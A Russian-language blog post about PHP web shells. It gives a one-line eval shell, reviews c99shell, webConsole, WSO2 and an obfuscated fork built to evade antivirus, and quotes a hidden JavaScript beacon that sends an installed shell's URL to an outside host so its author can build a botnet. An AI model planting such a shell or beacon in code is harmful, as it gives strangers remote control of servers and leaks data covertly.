В интернете можно найти странное объяснение что веб шелл это такая страшная штука может пароли перебирать, украсть конфиденциальные данные и обязательно где то в этом предложении фигурирует приставка «вредоносный «.
Мне больше нравится определение *nix оболочка которая работающая по http
На деле все немного не так часто шел можно охарактеризовать как «благодарующий» или «незаменимый» например, тому существует множество примеров, например нужно сдампить сайт а у клиента только доступы к админке cms.
Конечно не безнадежно, но мне лично трудно представить как долго я буду с этим мучаться без соответствующего инструмента, а так дело пары минут.
К слову так же я не понимаю людей которые просят оценить работу при этом не дают ftp либо доступа к хостингу но при этом легко предоставляют доступ в админку cms, это пожалуй само непонятное для меня и бессмысленное проявление осторожности которое только может быть, любой даже самый не опытный фрилансер скорее всего сможет получить доступ ко все вашим данным даже при таком раскладе. И тут либо доверять либо не строить иллюзий.
Так как речь сейчас о php, то примеры так же будут на php, это совсем не означает не означает что подобное не реализуемо на других серверных языках.
Простой пример шелла может выглядеть так
eval($_REQUEST['code']);
как видите все очень просто 5 строк, но при некоторых условиях тоже самое можно реализовать в 10 символов (это даже не шутка).
В сети существует много проектов более продвинутых шелов включающих в себя полноценные файловые менеджеры, продвинутые архиваторы архиваторы sql промты, инструменты для брута ftp, отсылки email и бог знает что ещё.
Перечислить все их не хватит блога и жизни , поэтому опишу самые запомнившееся
Первый и один из самых старых — с99shel
На скрине мажорная версия 1.0 с почему то неизменной приставкой beta хотя я знавал и более ранние версии, а это как мы видим на скрине не шутки 21 мая 2005 года.
В работе был неприхотлив но имел несколько багов файлового менеджера и странных на мой взгляд нюансов работы с SQL, но возможно я пользовался совсем уж старой и кривой версией.
Второй не по значимости но по внешности продукт со скромным названием webConsole
как я догадываюсь относительно молодой и в основном и just for fun, но вы оцените только внешний вид это же почти терминал даже подсветка команд все в лучших традициях, красиво.
И напоследок мой любимый WSO2
Отличный дизайн, крутая функциональность позволяет контролировать чуть ли не все что бежит на вашем сервере используя удобный GUI, даже есть кнопка «Self remove», безусловно лидер, сам около десятка раз удалял его со взломанных сайтов, народ его любит.
Но противодействие идет полным ходом даже убогий Microsoft Security Essentials научился опознавать его сигнатуры, но это не единственная проблема всяческий секьюрити софт
научилось детектировать GET/POST.
В ответ на это были выпущены форки с обфусцированным кодом и шифрованием не отправлять данные в открытом виде, а с шифрованием на клиентской стороне.
Так например по всей видимости форк WSO2 под названием P.A.S как раз обладает всеми этими достоинствами.
Так же существует куча билдеров различный шеллов, но здесь следует помнить что пользоваться можно только тем исходники чего ты можешь посмотреть лично и не иначе.
Дело в том что в подобных проектах даже с открытым и доступным исходники часто встречаются всяческие неприятные пасхалки, звонилки и даже баннеры какой то рекламной сети встречал , я считаю что это позор полный и поэтому всегда проверяю исходники. Иногда это необходима так как авторы используют так называемую защиту от скрипт кидди, ну то есть специально совершенные автором ошибки легко заметные профессионалу и невидимые всем остальным, дабы его творение не использовали дети, неадекватные взрослые и животные.
Иногда попадаются такие кусочки кода:
Где то посреди логики шелла я обнаружил такой javascript
a=new/**/Image();a.src='http://www.xxx.gen.tr/yaz/yaz.php?a='+escape(location.href);
Думаю не нужно объяснять что здесь не так?
Глупые и наивные пользователи скачивают скрипт заливают его на свои или даже не свои серверы после чего этот самый скриптик отправляет url шелла централизовано на обработку скрипту yaz.php где тот скорее всего записывается, и так как пароль по умолчанию большенство пользователей шелла не меняют в итоге автор получает немалый такой ботнет без особых усилий.